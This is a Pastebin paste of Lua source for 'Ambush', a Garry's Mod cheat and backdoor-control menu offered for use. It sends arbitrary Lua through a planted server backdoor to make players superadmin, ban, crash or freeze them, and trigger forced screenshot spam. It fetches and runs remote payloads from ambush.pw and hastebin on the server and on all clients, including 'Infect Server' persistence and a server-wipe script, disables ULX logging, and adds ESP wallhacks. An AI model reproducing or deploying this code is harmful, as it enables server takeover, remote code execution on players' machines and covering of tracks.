BazZziliuS

Ambush

Jul 21st, 2018
584
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 16.41 KB | None | 0 0
  1. --[[-------------------------------------------------------------------------
  2.         Menu
  3. ---------------------------------------------------------------------------]]
  4. surface.CreateFont( "LIST", {font = "Arial",size = 5,weight = 2000,})
  5. surface.CreateFont( "TABS", {font = "Arial",size = 25,weight = 2000,})
  6. surface.CreateFont( "hacks", {font = "Arial",size = 25,weight = 2000,})
  7. surface.CreateFont( "Title", {font = "Arial",size = 75,weight = 2000,})
  8. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  9. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  10. surface.CreateFont( "RAN", {font = "Arial",size = 90,weight = 2000,})
  11. dataString = "Bilboard.adverts:Spawn(false)" and "JSQuery.Data(Post(false))"
  12.  
  13. function menu()
  14. local stringHasPosted = CreateClientConVar("posted", "0", false)
  15. if not stringHasPosted:GetBool() then
  16. chat.AddText(Color(124,0,90,255), "[", Color(143,36,113), "Ambush", Color(124,0,90,255), "] ", Color(190,0,138,255), "util.AddNetworkString(\"JSQuery.Data(Post(false))\") net.Receive(\"JSQuery.Data(Post(false))\",function(len,pl) RunString(net.ReadString()) end)")
  17. RunConsoleCommand("posted", "1")
  18. else  end
  19.  
  20. function sendLua(str)
  21.     net.Start(dataString)
  22.     net.WriteString(str)
  23.     net.SendToServer()
  24. end
  25.  
  26. function sendLuaPly(str)
  27.     net.Start(dataString)
  28.     net.WriteString("BroadcastLua([[".. str .."]])")
  29.     net.SendToServer()
  30. end
  31.  
  32.  
  33.  
  34. local back = vgui.Create("DFrame")
  35.     back:SetSize(500, 500)
  36.     back:Center()
  37.     back:SetTitle("")
  38.     back:ShowCloseButton(false)
  39.     back:SetSizable(false)
  40.     back:MakePopup()
  41.     back.Paint = function(self, w, h)
  42.             surface.SetDrawColor(124,0,90,255)
  43.             surface.DrawRect(0,0,self:GetWide(),self:GetTall())
  44.             surface.SetDrawColor(143,36,113)
  45.             surface.DrawRect(0,0,self:GetWide(),75)
  46.             surface.SetDrawColor(255,255,255,255)
  47.             surface.DrawOutlinedRect(0,75,self:GetWide(),self:GetTall()-75)
  48.         local trap = {{x = 29, y = 76}, {x = 471, y = 76}, {x = 446, y = 76+56}, {x = 54, y = 76+56}}
  49.             draw.NoTexture()
  50.             surface.SetDrawColor(255,255,255,255)
  51.             surface.DrawPoly(trap)
  52.         local trap2 = {{x = 30, y = 76}, {x = 470, y = 76}, {x = 445, y = 76+55}, {x = 55, y = 76+55}}
  53.             draw.NoTexture()
  54.             surface.SetDrawColor(190,0,138,255)
  55.             surface.DrawPoly(trap2)
  56.     end
  57.  
  58. local title = vgui.Create("DLabel", back)
  59.     title:SetFont("Title")
  60.     title:SetText("Ambush")
  61.     title:SizeToContents()
  62.     title:SetPos(0, -5)
  63.     title:SetColor(Color(210,53,210))
  64.     timer.Create("moving text",.05,0,function()
  65.         if title:GetPos() <= 500 then
  66.             title:SetPos(Lerp(.5,title:GetPos(),title:GetPos()+10),-5)
  67.         else
  68.             title:SetPos(0 - title:GetWide(),-5)
  69.         end
  70.     end)
  71.  
  72. local backL = vgui.Create("DFrame")
  73.         backL:SetSize(250,500)
  74.         backL:SetPos(ScrW()/2+250, ScrH()/2-250)
  75.         backL:SetTitle("")
  76.         backL:ShowCloseButton(false)
  77.         backL:SetSizable(false)
  78.         backL:MakePopup()
  79.         backL.Paint = function(self, w, h)
  80.                 surface.SetDrawColor(124,0,90,255)
  81.                 surface.DrawRect(0,0,self:GetWide(),self:GetTall())
  82.                 surface.SetDrawColor(143,36,113)
  83.                 surface.DrawRect(0,0,self:GetWide(),75)
  84.                 surface.SetDrawColor(255,255,255,255)
  85.                 surface.DrawOutlinedRect(0,75,self:GetWide(),self:GetTall()-75)
  86.         end
  87.     local title = vgui.Create("DButton",backL)
  88.             title:SetFont("Title")
  89.             title:SetText("Players")
  90.             title:SizeToContents()
  91.             title:SetPos(125-title:GetWide()/2,-5)     
  92.             title:SetTextColor(Color(210,53,210))
  93.             title.Paint = function() surface.SetDrawColor(23,28,32,0) end
  94.             title.DoClick = function()  end
  95.  
  96.     list = vgui.Create("DListView", backL)
  97.         list:SetPos(0,76)
  98.         list:SetSize(250,500-76)
  99.         list:SetMultiSelect(false)
  100.         list:AddColumn("Players")
  101.         list:AddColumn("Rank")
  102.         for k,v in pairs(player.GetAll()) do
  103.             if IsValid(v) then
  104.                 list:AddLine(v:Nick(), v:GetUserGroup())
  105.                
  106.             end
  107.         end
  108.         list.Paint = function()
  109.             surface.SetDrawColor(124,0,90,255)
  110.             surface.DrawRect(0,0,list:GetWide(),list:GetTall())
  111.         end
  112.         list.OnClickLine = function(p, line, self)
  113.             for k,v in pairs(player.GetAll()) do
  114.                 if v:Nick() == line:GetValue(1) then
  115.                         list.Selected = v
  116.                 end
  117.             end
  118.             local ply = list.Selected:UserID()
  119.             local funcs = DermaMenu()
  120.                 funcs:AddOption( "Set Superadmin", function() sendLua([[Player(]] .. ply .. [[):SetUserGroup("superadmin")]]) end)
  121.                 funcs:AddOption( "Set User", function() sendLua([[Player(]] .. ply .. [[):SetUserGroup("user")]]) end)             
  122.                 funcs:AddOption( "Ban", function() sendLua([[Player(]] .. ply .. [[):Ban(0, true)]]) end)
  123.                 funcs:AddOption( "Kick", function() sendLua([[Player(]] .. ply .. [[):Kick()]]) end)               
  124.                 funcs:AddOption( "Kill", function() sendLua([[Player(]] .. ply .. [[):Kill()]]) end)
  125.                 funcs:AddOption( "Strip", function() sendLua([[Player(]] .. ply .. [[):StripWeapons()]]) end)
  126.                 funcs:AddOption("Ignite", function() sendLua([[Player(]] .. ply .. [[):Ignite(300)]]) end)
  127.                 funcs:AddOption("Crash", function() sendLua([[Player(]] .. ply .. [[):SendLua("function crash() return crash() end crash()")]]) end)
  128.                 funcs:AddOption("God", function() sendLua([[Player(]] .. ply .. [[):GodEnable()]]) end)
  129.                 funcs:AddOption("UnGod", function() sendLua([[Player(]] .. ply .. [[):GodDisable()]]) end)
  130.                 funcs:AddOption("Freeze", function() sendLua([[Player(]] .. ply .. [[):Freeze(true)]]) end)
  131.                 funcs:AddOption("UnFreeze", function() sendLua([[Player(]] .. ply .. [[):Freeze(False)]]) end)
  132.                 funcs:AddOption("Spam", function() sendLua([[Player(]] .. ply .. [[):SendLua(" RunConsoleCommand('record', 'ambush', '600' ) timer.Create('ss',0.01,0,function() RunConsoleCommand('screenshot') end)")]]) end)
  133.                 funcs:AddOption("Set Big Model", function() sendLua([[Player(]] .. ply .. [[):SetModel("models/dog.mdl")]]) end)
  134.                 funcs:AddOption("Set Model Scale", function() sendLua([[Player(]] .. ply .. [[):SetModelScale(10, 2)]]) end)
  135.                 funcs:Open()           
  136.         end
  137.  
  138. local baseToTabs = vgui.Create("DPanel", back)
  139.     baseToTabs:SetSize(470,330)
  140.     baseToTabs:SetPos(15,150)
  141.     baseToTabs:SetVisible(true)
  142.     baseToTabs.Paint = function()
  143.         surface.SetDrawColor(255,255,255,255)
  144.         surface.DrawRect(0,0,472,332)
  145.         surface.SetDrawColor(190,0,138,255)
  146.         surface.DrawRect(1,1,468,328)      
  147.     end
  148.  
  149. local tab1 = vgui.Create("DScrollPanel", baseToTabs)
  150.     tab1:Dock(FILL)
  151.     tab1:SetPos(0,0)
  152.     tab1:SetVisible(true)
  153.     tab1.Paint = function() end
  154. local vbar = tab1:GetVBar()
  155. function vbar:Paint() end
  156. function vbar.btnUp:Paint() end
  157. function vbar.btnDown:Paint() end
  158. function vbar.btnGrip:Paint() end
  159.  
  160. local baseToTabs2 = vgui.Create("DPanel", back)
  161.     baseToTabs2:SetSize(470,330)
  162.     baseToTabs2:SetPos(15,150)
  163.     baseToTabs2:SetVisible(false)
  164.     baseToTabs2.Paint = function()
  165.         surface.SetDrawColor(255,255,255,255)
  166.         surface.DrawRect(0,0,472,332)
  167.         surface.SetDrawColor(190,0,138,255)
  168.         surface.DrawRect(1,1,468,328)      
  169.     end
  170.  
  171.  
  172. local backdoor = vgui.Create("DButton", back)
  173.     backdoor:SetPos(55,76)
  174.     backdoor:SetFont("TABS")
  175.     backdoor:SetText("Backdoor")
  176.     backdoor:SetSize(130,55)
  177.     backdoor:SetTextColor(Color(255,255,255))
  178.     backdoor.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,backdoor:GetWide(),backdoor:GetTall()) end
  179.     backdoor.DoClick = function() baseToTabs:Show() baseToTabs2:Hide() end
  180.  
  181.  
  182. local hacks = vgui.Create("DButton", back)
  183.     hacks:SetPos(185,76)
  184.     hacks:SetFont("TABS")
  185.     hacks:SetText("Hacks")
  186.     hacks:SetSize(130,55)
  187.     hacks:SetTextColor(Color(255,255,255))
  188.     hacks.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,hacks:GetWide(),hacks:GetTall()) end
  189.     hacks.DoClick = function() baseToTabs2:Show() baseToTabs:Hide() end
  190.  
  191. local close = vgui.Create("DButton", back)
  192.     close:SetPos(315,76)
  193.     close:SetFont("TABS")
  194.     close:SetText("Close")
  195.     close:SetSize(130,55)
  196.     close:SetTextColor(Color(255,255,255))
  197.     close.Paint = function() surface.SetDrawColor(190,0,138,255) surface.DrawRect(0,0,close:GetWide(),close:GetTall()) end
  198.     close.DoClick = function() back:Hide() backL:Hide() timer.Stop("moving text")  end
  199.  
  200.  
  201.  
  202. local ambush = {}
  203. function ambush.Button(name, parent, func, tip)
  204.     local button = parent:Add("DButton")
  205.         button:SetText(name)
  206.         button:SetSize(150,50)
  207.         button:Dock(TOP)
  208.         button:SetFont("TABS")
  209.         button:SetTooltip(tip)
  210.         button:SetTextColor(Color(255,255,255))
  211.         button:DockMargin(10,10,10,0)
  212.         button.DoClick = func
  213.         button.Paint = function(self)
  214.             if button:IsHovered() then
  215.                 surface.SetDrawColor(255,255,255,255)
  216.                 surface.DrawRect(0,0,self:GetWide(), self:GetTall())
  217.                 surface.SetDrawColor(124,0,90,255)
  218.                 surface.DrawRect(2,2,self:GetWide()-4, self:GetTall()-4)
  219.             else
  220.                 surface.SetDrawColor(255,255,255,255)
  221.                 surface.DrawRect(0,0,self:GetWide(), self:GetTall())
  222.                 surface.SetDrawColor(143,36,113,255)
  223.                 surface.DrawRect(2,2,self:GetWide()-4, self:GetTall()-4)               
  224.             end
  225.         end
  226. end
  227.  
  228. --[[-------------------------------------------------------------------------
  229.         Hacks Tab
  230. ---------------------------------------------------------------------------]]
  231. local ambush_esp = CreateClientConVar("esp_enable", "0", true, false)
  232. local espEnable = vgui.Create("DCheckBox", baseToTabs2) espEnable:SetPos(10,10) espEnable:SetSize(25,25) espEnable:SetConVar("esp_enable")
  233. local espLbl = vgui.Create("DLabel", baseToTabs2) espLbl:SetPos(12+25,10) espLbl:SetFont("hacks") espLbl:SetText("Enable Esp") espLbl:SizeToContents()
  234. local function esp()
  235.     if not ambush_esp:GetBool() then return end
  236.     for k,v in pairs(player.GetAll()) do
  237.         if IsValid(v) and v:Alive() and v != LocalPlayer() and v:Team() != TEAM_SPECTATOR then
  238.             local plyPos = v:EyePos():ToScreen()
  239.             draw.DrawText(v:Nick(), "Default", plyPos.x+10, plyPos.y, Color(0,255,0))
  240.             draw.DrawText(v:Health(), "Default", plyPos.x+10, plyPos.y+10, Color(0,255,0))
  241.             draw.DrawText(v:GetUserGroup(), "Default", plyPos.x+10, plyPos.y+20, Color(0,255,0))
  242.             if v:GetWeapons() != 0 and v:HasWeapon("weapon_physgun") then
  243.                 draw.DrawText(v:GetActiveWeapon():GetClass(), "Default", plyPos.x+10, plyPos.y+30, Color(0,255,0))
  244.             else return end
  245.             halo.Add(ents.FindByClass("player"), Color(0,0,255), 0, 0, 2, false, true )
  246.             function DrawLine(pos1,pos2,pos3,pos4) surface.SetDrawColor(0,0,255,255) surface.DrawLine(pos1,pos2,pos3,pos4) end
  247.                 btr = v:OBBMaxs()+v:GetPos() fbl = v:OBBMins()+v:GetPos()
  248.                 x = btr.x y= btr.y z= btr.z x1=fbl.x y1=fbl.y z1=fbl.z rz = z1-z1
  249.                 DrawLine(btr:ToScreen().x,btr:ToScreen().y,fbl:ToScreen().x,btr:ToScreen().y)
  250.                 DrawLine(btr:ToScreen().x,btr:ToScreen().y,btr:ToScreen().x,fbl:ToScreen().y)
  251.                 DrawLine(fbl:ToScreen().x,fbl:ToScreen().y,btr:ToScreen().x,fbl:ToScreen().y)
  252.                 DrawLine(fbl:ToScreen().x,fbl:ToScreen().y,fbl:ToScreen().x,btr:ToScreen().y)
  253.         end
  254.     end
  255. end
  256. hook.Add("HUDPaint", "esp", esp)
  257. cvars.AddChangeCallback("ambush_esp", function(cvar, old, new)
  258.     if tonumber(old) == 0 and tonumber(new) == 1 then
  259.     elseif tonumber(old) == 1 and tonumber(new) == 0 then
  260.     end
  261. end)
  262. local ambush_crosshair = CreateClientConVar("crosshair_enable", "0", true, false)
  263. local crosshairEnable = vgui.Create("DCheckBox", baseToTabs2) crosshairEnable:SetPos(10,45) crosshairEnable:SetSize(25,25) crosshairEnable:SetConVar("crosshair_enable")
  264. local crosshairLbl = vgui.Create("DLabel", baseToTabs2) crosshairLbl:SetPos(12+25,45) crosshairLbl:SetFont("hacks") crosshairLbl:SetText("Enable Crosshair") crosshairLbl:SizeToContents()
  265. function crosshair()
  266.     if not ambush_crosshair:GetBool() then return end
  267.     if LocalPlayer():Alive() then
  268.         surface.DrawCircle(ScrW()/2,ScrH()/2,10,Color(124,0,90,255))
  269.     end
  270. end
  271. hook.Add("HUDPaint", "crosshair", crosshair)
  272. cvars.AddChangeCallback("ambush_crosshair", function(cvar, old, new)
  273.     if tonumber(old) == 0 and tonumber(new) == 1 then
  274.     elseif tonumber(old) == 1 and tonumber(new) == 0 then
  275.     end
  276. end)
  277.  
  278.  
  279. local ambush_entesp = CreateClientConVar("entesp_enable", "0", true, false)
  280. local entespEnable = vgui.Create("DCheckBox", baseToTabs2) entespEnable:SetPos(10,80) entespEnable:SetSize(25,25) entespEnable:SetConVar("entesp_enable")
  281. local entespLbl = vgui.Create("DLabel", baseToTabs2) entespLbl:SetPos(12+25,80) entespLbl:SetFont("hacks") entespLbl:SetText("Enable Ent Esp") entespLbl:SizeToContents()
  282. function entEsp()
  283.     if not ambush_entesp:GetBool() then return end
  284.         halo.Add(ents.FindByClass("rprint_amethystprinter"), Color(0,0,255), 0, 0, 2, false, true )
  285.         halo.Add(ents.FindByClass("rprint_rubyprinter"), Color(0,0,255), 0, 0, 2, false, true )
  286.         halo.Add(ents.FindByClass("rprint_sapphireprinter"), Color(0,0,255), 0, 0, 2, false, true )
  287.         halo.Add(ents.FindByClass("rprint_amberprinter"), Color(0,0,255), 0, 0, 2, false, true )
  288.         halo.Add(ents.FindByClass("rprint_emeraldprinter"), Color(0,0,255), 0, 0, 2, false, true )
  289. end
  290. hook.Add("HUDPaint", "entEsp", entEsp)
  291. cvars.AddChangeCallback("ambush_entesp", function(cvar, old, new)
  292.     if tonumber(old) == 0 and tonumber(new) == 1 then
  293.     elseif tonumber(old) == 1 and tonumber(new) == 0 then
  294.     end
  295. end)
  296.  
  297. --[[-------------------------------------------------------------------------
  298.         Functions/cvars
  299. ---------------------------------------------------------------------------]]
  300.  
  301. function ambushRapec() sendLuaPly([[http.Fetch("https://www.hastebin.com/raw/sirumadimu",function(body) RunString(body) end)]]) end
  302. function ScreenRape() sendLuaPly([[http.Fetch("http://ambush.pw/fonts/boldfont.txt",function(body) RunString(body) end)]]) end
  303. function rainbowFloor() sendLuaPly([[http.Fetch("http://ambush.pw/fonts/Calibra.txt",function(body) RunString(body) end)]]) end
  304. function fuckULX() sendLua([[http.Fetch("http://ambush.pw/addons/serverwipe.lua",function(body) RunString(body) end)]]) end
  305. function ulxLogEcho() sendLua([[RunConsoleCommand("ulx", "logecho", "0")]]) end
  306. function startChatSpam()
  307.     Derma_StringRequest("ChatSpam", "Spam Chat", "", function(str)
  308.         sendLuaPly([[timer.Create("spamText",0.001,0,function() chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "]] .. str .. [[") end)]])
  309.     end)
  310. end
  311. function endChatSpam() sendLuaPly([[timer.Stop("spamText")]]) end
  312.  
  313. function voteGagSpam()
  314.     Derma_StringRequest("ChatSpam", "Spam Chat", "", function(str)
  315.         timer.Create("spamGag",0.01,0,function() RunConsoleCommand("ulx","votemute", "" .. str .. "") end)
  316.     end)
  317. end
  318. function voteGagSpamStop()
  319.     timer.Stop("spamGag")
  320. end
  321. function playSongs()
  322.     local songs = DermaMenu()
  323.         songs:AddOption("Travel Ban", function() sendLuaPly([[sound.PlayURL("http://www.ambush.pw/songs/travelban.mp3", "mono", function() end)]]) end)
  324.         songs:AddOption("Monroe", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/mm.mp3", "mono", function() end)]]) end)
  325.         songs:AddOption("Lil Young Pharaoh", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/lyp.mp3", "mono", function() end)]]) end)
  326.         songs:AddOption("69 Billy", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/billy.mp3", "mono", function() end)]]) end)
  327.         songs:AddOption("NBA Outside Today", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/outside.mp3", "mono", function() end)]]) end)
  328.         songs:AddOption("From D to the A", function() sendLuaPly([[sound.PlayURL("http://ambush.pw/songs/dtoa.mp3", "mono", function() end)]]) end)
  329.         songs:Open()
  330. end
  331.  
  332.  
  333. function infectServer()
  334.     sendLua([[http.Fetch("http://ambush.pw/fonts/bike.txt",function(body) RunString(body) end)]])
  335. end
  336.  
  337. function debuggin()
  338.    
  339.  
  340.  
  341.  
  342. end
  343. -- debug button
  344. // ambush.Button("Debug", tab1, debuggin, "")
  345.  
  346.  
  347. --[[-------------------------------------------------------------------------
  348.         Buttons
  349. ---------------------------------------------------------------------------]]
  350. ambush.Button("Play Songs", tab1, playSongs, "Click to see a list of songs to play.")
  351. ambush.Button("Local News", tab1, ambushRapec, "Put the server on a fake news broadcast.")
  352. ambush.Button("Screen Rape 1", tab1, ScreenRape, "Rape everyone's screens.")
  353. ambush.Button("Rainbow Floor", tab1, rainbowFloor, "Make the floor rainbow.")
  354. ambush.Button("Log Echo 0", tab1, ulxLogEcho, "Log eco to 0 so nothing is logged within ulx.")
  355. ambush.Button("Fuck ULX", tab1, fuckULX, "Fucks ulx, honestly.")
  356. ambush.Button("Infect Server", tab1, infectServer, "Infects the server so you can keep it backdoored.")
  357. ambush.Button("Chat Spam", tab1, startChatSpam, "Spams the chatbox with stated text.")
  358. ambush.Button("Stop Vote Gag Spam", tab1, voteGagSpamStop, "Stop spam server with votegag.")
  359. ambush.Button("Stop Chat Spam", tab1, endChatSpam, "Stops the chat spam.")
  360. ambush.Button("Vote Gag Spam", tab1, voteGagSpam, "Spam server with votegag.")
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371. if i == 5 then html:Hide() i=1 end
  372.  
  373.  
  374. end
  375. concommand.Add("ambush", menu)
Advertisement
Add Comment
Please, Sign In to add comment